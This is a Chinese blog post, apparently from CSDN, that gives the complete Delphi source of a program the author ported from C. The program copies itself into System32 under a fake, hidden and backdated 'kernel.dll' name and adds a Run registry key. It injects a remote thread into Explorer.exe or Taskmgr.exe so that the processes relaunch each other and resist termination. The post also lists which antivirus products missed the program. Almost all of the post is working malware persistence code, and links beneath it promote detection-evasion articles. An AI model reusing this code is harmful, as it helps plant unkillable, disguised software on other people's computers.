一个利用线程注入进行互相监控而防止程序被终止的程序

最新推荐文章于 2023-11-02 13:13:27 发布
原创 最新推荐文章于 2023-11-02 13:13:27 发布 · 3k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#system #string #signal #function #path #button

本文介绍了一段使用Delphi编写的代码，该代码能够自我复制并注入其他进程，旨在展示其如何被不同杀毒软件识别。文章通过实例展示了代码的工作原理，并提供了针对多种杀毒软件的测试结果。

 以下程序非本人原创，原为Ｃ代码，俺代为改成Delphi代码，并做了部分杀毒软件的测试．结果如下：（均为默认设置)

Nod32  　　未扫出危险代码；　运行后未报警

卡吧    　　未扫出危险代码；    运行后报警

McAfee　　未扫出危险代码；　运行后未报警

小红伞　　扫出危险代码；　运行后报警

 

 

代码如下：（仅供参考，不要用在病毒，木马程序上！)

 

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,PSAPI, StdCtrls,Registry;

type
  PRemoteParameter = ^TRemoteParameter;
  TRemoteParameter = record
    pOutputDebugString  : DWORD;
    pOpenprocess        : DWORD;
    pWaitForSingleObject: DWORD;
    pFindFirstFile      : DWORD;
    pCopyFile           : DWORD;
    pFindClose          : DWORD;
    pWinExeC            : DWORD;

    pRemotePid           : DWORD;
    pProcessHandle      : THANDLE;
    pFileHandle         : THANDLE;
    pTName              : array[0..MAX_PATH] of char;
    pKName              : array[0..MAX_PATH] of char;
    pWinexecName        : array[0..MAX_PATH] of char;
    pFData              : WIN32_FIND_DATA;

    pOpError            : array[0..59] of char;
    pFffError           : array[0..59] of char;
    pCfError            : array[0..59] of char;
    pFcError            : array[0..59] of char;
    pWeError            : array[0..59] of char;
    pString             : array[0..59] of char;
    pWfsoSignal         : array[0..59] of char;
  end;

  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

const Name1 = '/Test.exe';
const Name2 = '/kernel.dll';

var
  Form1: TForm1;
  wThread : THandle;

procedure Doaction;
function CreateRemote(tName: PChar; kName: PChar): THandle;
function remote(pvParam:pointer):integer;stdcall;
function watch(pvParam: Pointer): integer;stdcall;

type

 EOutputDebugString = procedure(p : PChar); stdcall;
 EOpenProcess = function(p1: DWORD; p2: Boolean; p3: DWORD):THandle; stdcall;
 EWaitForSingleObject = function(p1: THandle; p2: DWORD):DWORD;stdcall;
 EFindFirstFile = function(p1:PChar;p2: PWin32FindData):THandle;stdcall;
 ECopyFile = function(p1:PChar; p2: PChar; p3: Boolean):Boolean;stdcall;
 EFindClose = function(p:Thandle):Boolean;stdcall;
 EWinExec = function(p1:PChar;p2:Cardinal):Cardinal;stdcall;

implementation

{$R *.dfm}


   
function StringToWideStringEx(const S: string; CodePage: Word): WideString;
var InputLength,
    OutputLength: Integer;
begin
  InputLength := Length(S);
  OutputLength := MultiByteToWideChar(CodePage, 0, PChar(S), InputLength, nil, 0);
  SetLength(Result, OutputLength);
  MultiByteToWideChar(CodePage, 0, PChar(S), InputLength, PWideChar(Result), OutputLength);
end;

function WideStringToStringEx(const WS: WideString; CodePage: Word): string;
var
  InputLength,
  OutputLength: Integer;
begin
  InputLength := Length(WS);
  OutputLength := WideCharToMultiByte(CodePage, 0, PWideChar(WS), InputLength, nil, 0, nil, nil);
  SetLength(Result, OutputLength);
  WideCharToMultiByte(CodePage, 0, PWideChar(WS), InputLength, PChar(Result), OutputLength, nil, nil);
end;

Function StringToUnicode(S:String):WideString;
begin
 Result:=StringToWideStringEx(S,GetACP);
end;

Function UnicodeToString(S:WideString):string;
begin
  Result:=WideStringToStringEx(S,GetACP);
end;


procedure DoAction;
var
 fData : WIN32_FIND_DATA;
 ffHandle : THandle;
 fcHandle : THandle;
 sTime    : SYSTEMTIME;
 fTime    : FILETIME;
 sysPath  : array[0..MAX_PATH-1] of char;
 curName  : array[0..MAX_PATH-1] of char;
 tName    : array[0..MAX_PATH-1] of char;
 kName    : array[0..MAX_PATH-1] of char;
 ret      : integer;
 rThread  : THandle;
 aHwnd    : HWND;
 rt       : TRect;
 ptNew    : TPoint;
 title    : array[0..MAX_PATH-1] of char;
 wp       : WINDOWPLACEMENT;
 aThreadId: Cardinal;
begin
  // 获取System32目录的路径
  // tName =  System32/T-Mouse.exe; kName = System32/Kernel.dll
  ret := GetSystemDirectory(syspath,MAX_PATH);
  if ret = 0 then
  begin
    OutputDebugString('GetSystemDirectory Error'+#13#10);
    exit;
  end;
  strlcopy(tName,sysPath,strlen(sysPath));
  strCat(tName,Name1);
  strlCopy(kName,SysPath,strlen(SysPath));
  strCat(kName,Name2);

  ffHandle := FindFirstFile(tName,fData);   // 查找Test.exe
  if(ffHandle=INVALID_HANDLE_VALUE) then
  begin
    if GetLastError =  ERROR_FILE_NOT_FOUND then  // 如果不存在，则复制当前文件为System32/Test.exe
    begin
      ret := GetModuleFileName(0,curName,MAX_PATH);
      if ret = 0 then
      begin
        OutputDebugString('GetModuleFileName Error'+#13#10);
        exit;
      end;
      if not CopyFIle(curName,tName,true) then
      begin
        OutputDebugString('CopyFile Error'+#13#10);
        exit;
      end;
    end
    else
    begin
      OutputDebugString('FindFirstFile Error'+#13#10);
      exit;
    end;
  end
  else
  begin
    if not Windows.FindClose(ffHandle) then
    begin
      OutputDebugString('FindClose Error!'+#13#10);
      exit;
    end;
  end;
  ffHandle := FindFirstFile(kName,fData); // 查找Kernel.dll
  if ffHandle = INVALID_HANDLE_VALUE then
  begin
    if GetLastError =  ERROR_FILE_NOT_FOUND  then  // 如果不存在，则复制当前文件为System32/Kernel.dll
    begin
      ret := GetModuleFileName(0,curName,MAX_PATH);
      if ret = 0 then
      begin
        OutputDebugString('GetModuleFileName Error'+#13#10);
        exit;
      end;
      if not CopyFile(curName,kName,true) then
      begin
        OutputDebugString('CopyFile Error'+#13#10);
        exit;
      end;
      // 修改System32/Kernel.dll的属性为隐藏和系统及它的时间
      fcHandle := CreateFile(kName,GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
      if fcHandle = INVALID_HANDLE_VALUE then
      begin
        OutputDebugString('CreateFile Error'+#13#10);
        exit;
      end;
      fillchar(sTime,sizeof(sTime),0);
      stime.wYear := 2002;
      stime.wMonth := 1;
      stime.wDay := 12;
      stime.wDayOfWeek := 5;
      stime.wHour := 1;
      if not SystemTImeToFileTime(sTime,fTime) then
      begin
        OutputDebugString('SystemTimeToFileTIme Error'+#13#10);
        CloseHandle(fcHandle);
        exit;
      end;
      if not SetFileTime(fcHandle,@fTime,nil,@fTime) then
      begin
        OutputDebugString('SetFileTime Error'+#13#10);
        exit;
      end;
      if not SetFileAttributes(kName,FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM) then
      begin
        OutputDebugString('SetFileAttributes Error'+#13#10);
        CloseHandle(fcHandle);
        exit;
      end;
      CloseHandle(fcHandle);
    end
    else
    begin
      OutputDebugString('FindFirstFile Error'+#13#10);
      exit;
    end;
  end
  else if not Windows.FindClose(ffHandle) then
  begin
    OutputDebugString('FindClose Error'+#13#10);
    exit;
  end;

  rThread := CreateRemote(tName,kName); // 远程注入线程到Exporer.exe 或 mgrtask.exe
  if rthread = 0 then
  begin
    OutputDebugString('CreateRemote Error'+#13#10);
    exit;
  end;
  // 创建一监视线程，监视远程注入的线程有没有在运行。
  wThread := CreateThread(nil,0,@watch,@rThread,0,aThreadId);
  if wThread = 0 then
  begin
    OutputDebugString('CreateThread Error'+#13#10);
    CloseHandle(rThread);
    exit;
  end;
end;

 

function ProcessToPid(ProcessName: string):integer;
var
 pidProcesses : array[0..1023] of DWORD;
 cb,cbNeeded  : DWORD;
 cProcesses   : DWORD;
 hProcess     : THANDLE;
 hModule      : THANDLE;
 i            : integer;
 normalName   : array[0..1023] of char;
begin
 cb := sizeof(pidProcesses);
 fillchar(normalName,sizeof(normalName),0);
 result := -1;
 if not EnumProcesses(@pidProcesses[0],cb,cbNeeded) then
 begin
   exit;
 end;
 cProcesses := cbNeeded div sizeof(DWORD);
 for i := 0 to cProcesses - 1 do
 begin
   hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,FALSE,pidProcesses[i]);
   if hProcess <> 0 then
   begin
     if(EnumProcessModules(hProcess,@hModule,sizeof(hModule),cbNeeded)) then
     begin
       GetModuleBaseName(hProcess,hModule,normalName,sizeof(normalName));
       if compareText(ProcessName,string(normalName)) = 0 then
       begin
         result := pidProcesses[i];
         closeHandle(hProcess);
         exit;
       end;
      end;
   end;

 end;

end;


function CreateRemote(tName: PChar; kName: PChar): THandle;
var
 eThread : THandle;
 pHandle : THandle;
 aName : array[0..1,0..14] of char;
 remoteThr : PChar;
 remotePar : PChar;
 remotePid : DWORD;
 cb        : integer;
 signal    : integer;
 hKernel32 : THandle;
 rp        : TRemoteParameter;
 cbByte    : DWORD;
 threadid  : DWORD;
 temp      : widestring;
begin
 strcopy(aName[0],'Explorer.exe');
 strcopy(aName[1],'Taskmgr.exe');
 signal := 1;
 while(true) do
 begin
   signal := signal + 1;
   remotePid := ProcessToPid(aName[(signal mod 2)]);  //循环获取两个文件的PID
   if remotePid =  -1 then
   begin
     result := 0;
     exit;
   end
   else
   begin
     if remotePid = 0 then
     begin
       if (signal mod 2)=0 then
       begin
         OutputDebugString('Remote process Explorer isn''t running!'+#13#10);
       end
       else
       begin
         OutputDebugString('Remote process Taskmgr isn''t running!'+#13#10);
       end;
       sleep(1000);
       continue;
     end;
     pHandle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,False,remotePid);
     if pHandle=0 then
     begin
       sleep(1000);
       continue;
     end
     else
     begin
       break;
     end;
   end;
 end;
 cb := sizeof(char) * 4 * 1024; // 申请4K内存
 remotethr := virtualAllocEx(pHandle,nil,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 if remotethr = nil then
 begin
   OutputDebugString('VirtualAllocEx for Thread error!'+#13#10);
   closehandle(pHandle);
   exit;
 end;
 // 远程注入列程
 if not WriteProcessMemory(pHandle,remotethr,@remote,cb,cbByte) then
 begin
   OutputDebugString('WritePRocessMemory for thread error!'+#13#10);
   closehandle(pHandle);
   exit;
 end;

 fillchar(rp,0,sizeof(rp));
 rp.pRemotePid := GetCurrentProcessId;
 temp := StringToUnicode('i am in remote process'+#13#10);
 copymemory(@rp.pString[0], @temp[1],length('i am in remote process'+#13#10)*2);
 temp := StringToUnicode('CopyFile error'+#13#10);
 copymemory(@rp.pCfError[0], @temp[1],length('CopyFile error'+#13#100)*2);
 temp := StringToUnicode('FindClose error'+#13#10);
 copymemory(@rp.pFcError[0], @temp[1],length('FindClose error'+#13#10)*2);
 temp := StringToUnicode('FindFirstFile error'+#13#10);
 copymemory(@rp.pFffError[0], @temp[1],length('FindFirstFile error'+#13#10)*2);
 temp := StringToUnicode('OpenProcess error'+#13#10);
 copymemory(@rp.pOpError[0], @temp[1],length('OpenProcess error'+#13#10)*2);
 temp := StringToUnicode('WinExec error'+#13#10);
 copymemory(@rp.pWeError[0], @temp[1],length('WinExec error'+#13#10)*2);
 temp := StringToUnicode('i am out of remote process'+#13#10);
 copymemory(@rp.pWfsoSignal[0], @temp[1],length('i am out of remote process'+#13#10)*2);

 temp := StringToUnicode(string(tName));
 copymemory(@rp.pTName[0],@temp[1],length(tName)*2);
 temp := StringToUnicode(string(kName));
 copymemory(@rp.pKName[0],@temp[1],length(kName)*2);

 temp := StringToUnicode(string(tName));
 WideCharToMultiByte(GetACP,0,@temp[1],-1,rp.pWinexecName,strlen(tName),nil,nil);

 hKernel32 := GetModuleHandle(PChar('Kernel32.dll'));
 rp.pOutputDebugString := DWORD(GetProcAddress(hKernel32,'OutputDebugStringW'));
 rp.pOpenprocess := DWORD(GetProcAddress(hKernel32,'OpenProcess'));
 rp.pWaitForSingleObject := DWORD(GetProcAddress(hKernel32,'WaitForSingleObject'));
 rp.pFindFirstFile := DWORD(GetProcAddress(hKernel32,'FindFirstFileW'));
 rp.pCopyFile := DWORD(GetProcAddress(hKernel32,'CopyFileW'));
 rp.pFindClose := DWORD(GetProcAddress(hKernel32,'FindClose'));
 rp.pWinExeC := DWORD(GetProcAddress(hKernel32,'WinExec'));

 cb := sizeof(char) * sizeof(rp);
 remotepar := virtualAllocEx(pHandle,nil,cb,MEM_COMMIT, PAGE_READWRITE);
 if remotepar = nil then
 begin
    OutputDebugString(PChar(StringToUnicode('VirtualAllocEx for parameter error'+#13#10)));
    closehandle(pHandle);
    result := 0;
    exit;
 end;
 // 远程注入一个结构，把一些要调用的数据传递过去
 if not WriteProcessMemory(pHandle,remotepar,@rp,cb,cbByte) then
 begin
   OutputDebugString(PChar(StringToUnicode('WriteProcessMemory for paramter error'+#13#10)));
   closehandle(pHandle);
   result:= 0;
   exit;
 end;
 //启动远程线程
 eThread := CreateRemoteThread(pHandle,nil,0,remotethr,remotepar,0,threadid);
 if eThread = 0 then
 begin
   OutputDebugString(PChar(StringToUnicode('CreateRemoteThread error'+#13#10)));
   closehandle(pHandle);
   result:= 0;
   exit;
 end;
 result := eThread;
end;

function watch(pvParam: Pointer): integer;stdcall;
var
 weThread : THandle;
 exitcode : DWORD;
 sName    : array[0..MAX_PATH-1] of char;
 wtName   : array[0..MAX_PATH-1] of char;
 wkName   : array[0..MAX_PATH-1] of char;
 lpData   : array[0..MAX_PATH-1] of char;
 rgsPath  : string;
 aType    : DWORD;
 dwBufLen : DWORD;
 ret      : integer;
 reg      : TRegistry;
 aKey     : HKEY;
begin
  weThread := DWORD(pvParam);
  rgsPath := 'software/microsoft/windows/currentversion/run';
  aType := REG_SZ;
  dwBufLen := MAX_PATH;
  if GetSystemDirectory(sName,MAX_PATH)=0 then
  begin
   OutputDebugString('GetSystemDirectory in watch Error'+#13#10);
   result := -1;
   exit;
  end;
  strlcopy(wtName,sName,strlen(sName));
  strcat(wtName,Name1);
  strlcopy(wkName,sName,strlen(sName));
  strcat(wkName,Name2);
  while(true)do
  begin

    ret := RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(rgsPath),0,KEY_QUERY_VALUE,aKey);
    if ret <> ERROR_SUCCESS then
    begin
      OutputDebugString('RegOpenKeyEx for KEY_QUERY_VALUE Error'+#13#10);
      break;
    end;
    dwBufLen := MAX_PATH;
    ret := RegQueryValueEx(aKey,'Test',nil,nil,@lpData[0],@dwBufLen);
    RegCloseKey(aKey);
    if ret<>ERROR_SUCCESS then
    begin
      ret := RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(rgsPath),0,KEY_WRITE,aKey);
      if ret <> ERROR_SUCCESS then
      begin
        OutputDebugString('RegOpenKeyEx For KEY_WRITE Error'+#13#10);
        break;
      end;
      ret := RegSetValueEx(aKey,'Test',0,aType,@wtName[0],dwBufLen);
      RegCloseKey(aKey);
      if ret<> ERROR_SUCCESS then
      begin
        OutputDebugString('RegSetValueEx Error'+#13#10);
        break;
      end;
    end;
    GetExitCodeThread(weThread,exitCode);
    if exitCode = STILL_ACTIVE then
     weThread := createRemote(wtName,wkName);
    sleep(1000);
  end;
  result:=0;
end;

function remote(pvParam: pointer):integer;stdcall;
var
 erp : PRemoteParameter;
 tOutputDebugString: EOutputDebugString;
 tOpenProcess      : EOPenProcess;
 tWaitForSingleObject: EWaitForSingleObject;
 tFindFirstFile      : EFindFirstFile;
 tCopyFIle           : ECOpyFIle;
 tFIndClose          : EFindClose;
 tWinExec            : EWinExec;

begin
 erp := PRemoteParameter(pvParam);
 tOutputDebugString := EOutputDebugString(erp.pOutputDebugString);
 tOpenProcess       := EOpenProcess(erp.pOpenprocess);
 tWaitForSingleObject:= EWaitForSingleObject(erp.pWaitForSingleObject);
 tFIndFirstFile      := EFindFirstFile(erp.pFindFirstFile);
 tCopyFile           := ECopyFile(erp.pCopyFile);
 tFindClose          := EFindClose(erp.pFindClose);
 tWinExec            := EWinExec(erp.pWinExeC);
 tOutputDebugString(erp.pString);
 erp.pProcessHandle := tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp.pRemotePid);
 if erp.pProcessHandle = 0 then
 begin
   tOutputDebugString(erp.pOpError);
   result := -1;
   exit;
 end;
 tWaitForSingleObject(erp.pProcessHandle,INFINITE);
 tOutputDebugString(erp.pWfsoSignal); //i am out of remote process
 //查找System32/Test.exe存在不存在
 erp.pFileHandle := tFindFirstFile(erp.pTName,@erp.pFData);
 if erp.pFileHandle = INVALID_HANDLE_VALUE then
 begin
   tOutputDebugString(erp.pFffError);
   // 不存在，则将System32/Kernel.dll拷贝为Test.exe
   if not tCopyFile(erp.pKName,erp.pTName,true) then
   begin
     tOutputDebugString(erp.pCfError);
     result := -1;
     exit;
   end;
 end;
 if not tFindClose(erp.pFileHandle) then
 begin
   tOutputDebugString(erp.pFcError);
   result := -1;
   exit;
 end;
 // 然后运行Test.exe
 if(tWinExec(erp.pWinexecName,0)<=31) then
 begin
   tOutputDebugString(erp.pWeError);
   result := -1;
   exit;
 end;
 result := 0;

end;

procedure TForm1.Button1Click(Sender: TObject);
var
 sName    : array[0..MAX_PATH-1] of char;
 wtName   : array[0..MAX_PATH-1] of char;
 wkName   : array[0..MAX_PATH-1] of char;
 lpData   : array[0..MAX_PATH-1] of char;
begin
  if GetSystemDirectory(sName,MAX_PATH)=0 then
  begin
   exit;
  end;
  strlcopy(wtName,sName,strlen(sName));
  strcat(wtName,Name1);
  strlcopy(wkName,sName,strlen(sName));
  strcat(wkName,Name2);
  showmessage(string(wtName) + ';' + string(wkName));
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 exitCode : Cardinal;
begin
 TerminateThread(wThread,exitCode);
 showmessage('1.监视线程已经被结束，请删除注册表的相应启动项Test.exe,然后注销后再登陆！'+#13#10+
             '2.然后到System32目录下删除Test.exe和Kernel.dll!');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 doAction;
end;

end.

 

 

 

A00553344
关注
【C++内存泄漏】引发C++程序内存泄漏的原因分析与排查内存泄漏的方法总结
dvlinker的技术专栏
12-30 4万+
本文根据多年的项目实践以及遇到的多个内存泄漏的问题案例及场景，详细介绍引发内存泄漏的原因以及排查方法。
DLL远程线程劫持注入技术解析
m0_38103658的博客
09-23 1252
十大进程注入（一） DLL远程线程劫持注入技术解析 进程注入是一种广泛应用于恶意软件或无文件攻击中的躲避检测的技术。其需要在另一个进程的地址空间内运行特制代码，进程注入改善了不可见性、同时一些技术也实现了持久化。 而所谓的DLL注入是诸多进程注入方法中最常用的技术。恶意软件将恶意的动态链接库的路径写入另一个进程的虚拟地址空间内，通过在目标进程中创建远程线程来确保远程进程加载它。而因为DLL本身是由...
注入应用绕过活体检测_【渗透实战】如何利用API unhooking执行进程注入，绕过Bitdefender安全检测...
weixin_26833503的博客
01-28 1631
点击上方蓝字关注我们1概述绕过AV/EDR等端点检测是红队行动过程中的一项重要工作，在开始进行绕过时，我们需要先了解这些防护软件的工作方式。网络上公布了大量安全产品的工作原理以及绕过方法。本文主要分享如何利用Windows API unhooking 技术绕过Bitdefender安全防护软件，以下为演示视频：2什么是API Hooking？API hooking是一种用于拦截和检查w...
安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
dengdao1372的博客
08-24 214
简介 大多数后门或病毒要想初步实现隐藏进程，即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程，其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程，你会发现任务管理器以及找不到独立出现的恶意进程项了。反向连接型后门采用这种技术，注入防火墙认可的进程（例如大部分系统进程，像explorer.exe就很常见）还能...
Windows如何进行冷注入？如何冷注入后不被内存检测？如何混淆加密DLL？【已亲测】
Michael
03-04 1303
混淆 DLL：可以使用混淆技术来隐藏 DLL 的真实内容，从而避免被检测到。在 Windows 中，冷注入本身并不会被内存检测所发现，因为它是一种将 DLL 注入到目标进程中的方法，而不需要启动目标进程。避免使用常见的注入函数：一些杀毒软件和安全软件会监测常见的注入函数，如 CreateRemoteThread、SetWindowsHookEx 等，因此可以尝试使用其他未被广泛使用的注入函数。加密和混淆 DLL：可以使用加密和混淆技术来隐藏 DLL 的真实内容，从而避免被检测到。
防游戏检测之易语言APC注入DLL技术
hzw320的博客
08-18 1万+
本文章转载来自：http://bbs.dult.cn/thread-23291-1-1.html APC注入是什么原理？ 首先我们得来了解下它是什么东西，才能更好的运用它，关于APC对于懂微软api函数使用的学员来说可能不陌生，新手估计没有接触过。 APC 注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制，并以此去执行我们的DLL加载代码，进而完成DLL注入的目的， 其具体流...
X64位内存注入DLL技术(可躲避检测DLL,破解盗用DLL)
hzw320的博客
03-02 1万+
说到易语言对64位进程注入dll方面， 虽然我们Game-EC模块里面已经有对64位程序进行注入dll的功能了，但是 在这几天新年里，除了忙着像大多数人一样走亲访友拜年，剩余的时间也没闲着，研究开发了另外一种对64位程序进程进行注入dll的功能，今天给大家带来的是最近开发的新功能里面其中一个64位内存注入dll，也是属于64位游戏辅助开发方面的。 因为之前有不少开发64位游戏辅助的学员建议我，希望能出个隐藏64位dll的功能就好了，因为注入游戏dll经常遇见被游戏枚举dll方法就能检测到是否有第三方dll（
线程守护程序：通过守护线程保护进程不被终止
“利用插入守护代码的方式，保护运行程序的进程不被结束掉——只要保护进城不被结束”，这里的“进城”应为“进程”的笔误，实际含义是指通过代码注入手段，在目标进程中植入具备自我监控与恢复能力的守护逻辑，从而...
C#线程监控程序源码 1.2 支持进程监控
该文件“程序监控器(源码) 1.2.rar”是一个基于C#语言开发的系统级监控工具，主要用于实现对计算机中运行进程和线程的实时监控与管理。从标题、描述、标签以及压缩包内包含的子文件可以深入分析出其背后所涉及的一...
易语言实现EXE程序DllMain线程监控源码
本文标题“易语言让EXE程序也能拥有DllMain通知源码”揭示了一个在传统认知中较为高级的技术实现：即在普通的可执行文件（EXE）中模拟动态链接库（DLL）才具备的DllMain入口机制，并通过该机制实现对线程加载与销毁...
游戏Call技术-绑定主线程调用CALL技术(反游戏检测call)
hzw320的博客
08-21 1万+
我们在写call调用游戏进程里call时候,经常外挂运行工作一段时间后,游戏就会断线或崩溃掉，但是经过检查， 发现自己调用CALL的代码又没发现写错误,这到底是怎么呢？{:100_162:} 其实这些是现在游戏的一些游戏反外挂检测导致的,并不是我们调用call的代码没写对, 现在的游戏调用自己游戏进程里的各种CALL,都是游戏自己的主线程来执行的,如果不是游戏的主线程调用CALL, 就会奔...
一文读懂远程线程注入
dzqxwzoe的博客
11-02 330
在红队行动中，红队的目的都是要在不暴露自身行动的前提下，向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。本文涉及知识点实操练习：[DLL注入型病毒实验](https://www.hetianlab.com/expc.do?wemedia)（通过实验了解DLL注入型病毒的攻击过程）进程注入是用来逃避防御机制的重要技术之一。
远程线程注入引出的问题
weixin_33713707的博客
08-30 641
远程线程注入引出的问题   一、远程线程注入基本原理 远程线程注入——相信对Windows底层编程和系统安全熟悉的人并不陌生，其主要核心在于一个Windows API函数CreateRemoteThread，通过它可以在另外一个进程中注入一个线程并执行。在提供便利的同时，正是因为如此，使得系统内部出现了安全隐患。常用的注入手段有两种：一种是远程的dll的注入，另一种是远程代码的注入。后者...
通过硬件断点对抗hook检测
hongduilanjun的博客
04-21 2720
前言 我们知道常见的注入方式有IAT hook、SSDT hook、Inline hook等，但其实大体上可以分为两类，一类是基于修改函数地址的hook，一类则是基于修改函数代码的hook。而基于修改函数地址的hook最大的局限性就是只能hook已导出的函数，对于一些未导出函数是无能为力的，所以在真实的hook中，Inline hook反而是更受到青睐的一方。 hook测试 这里我用win32写了一个MessageBox的程序，当点击开始按钮就会弹窗，这里我写了一个Hook_E9函数用来限制对Message
防游戏检测之易语言DLL内存注入技术
热门推荐
hzw320的博客
02-23 2万+
DLL注入，除了线程注入，消息钩子注入，输入法注入外，还有一种就是内存注入 那么什么是内存注入呢？ 内存注入就是指内存中加载并且执行DLL文件，这样的注入方式好处有以下几点： 1.不需要把DLL文件暴露在出来（防止别人拿着你的DLL文件改装成自己的程序或者破解） 内存DLL不需要写出到硬盘上即可使用.只要用易语言编译出来DLL后,加入到图片资源中,即可直接在内存用运行使用. 2.安全性高,注入到对...
线程安全[转帖]
Ardor Leo's Blog
11-12 1085
[转帖]http://blog.youkuaiyun.com/wjmmml/archive/2004/11/11/177317.aspx四种方式    sychronized关键字sychronized method(){} sychronized (objectReference) {/*block*/} static synchronized method(){} sychro
黑客如何用线程注入技术隐藏自己的病毒(转载一)
lyd_253261362的专栏
04-26 983
隐藏是病毒的天性，在业界对病毒的定义里，“隐蔽性”就是病毒的一个最基本特征，任何病毒都希望在被感染的计算机中隐藏起来不被发现，因为病毒都只有在不被发现的情况下，才能实施其破坏行为。为了达到这个目的，许  多病毒使用了各种不同的技术来躲避反病毒软件的检验，这样就产生了各种各样令普通用户头痛的病毒隐藏形式。由于木马后门的行为特征已具备病毒条件，因此这里把木马后门也统一归纳为病毒来描述。 　　开山鼻
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值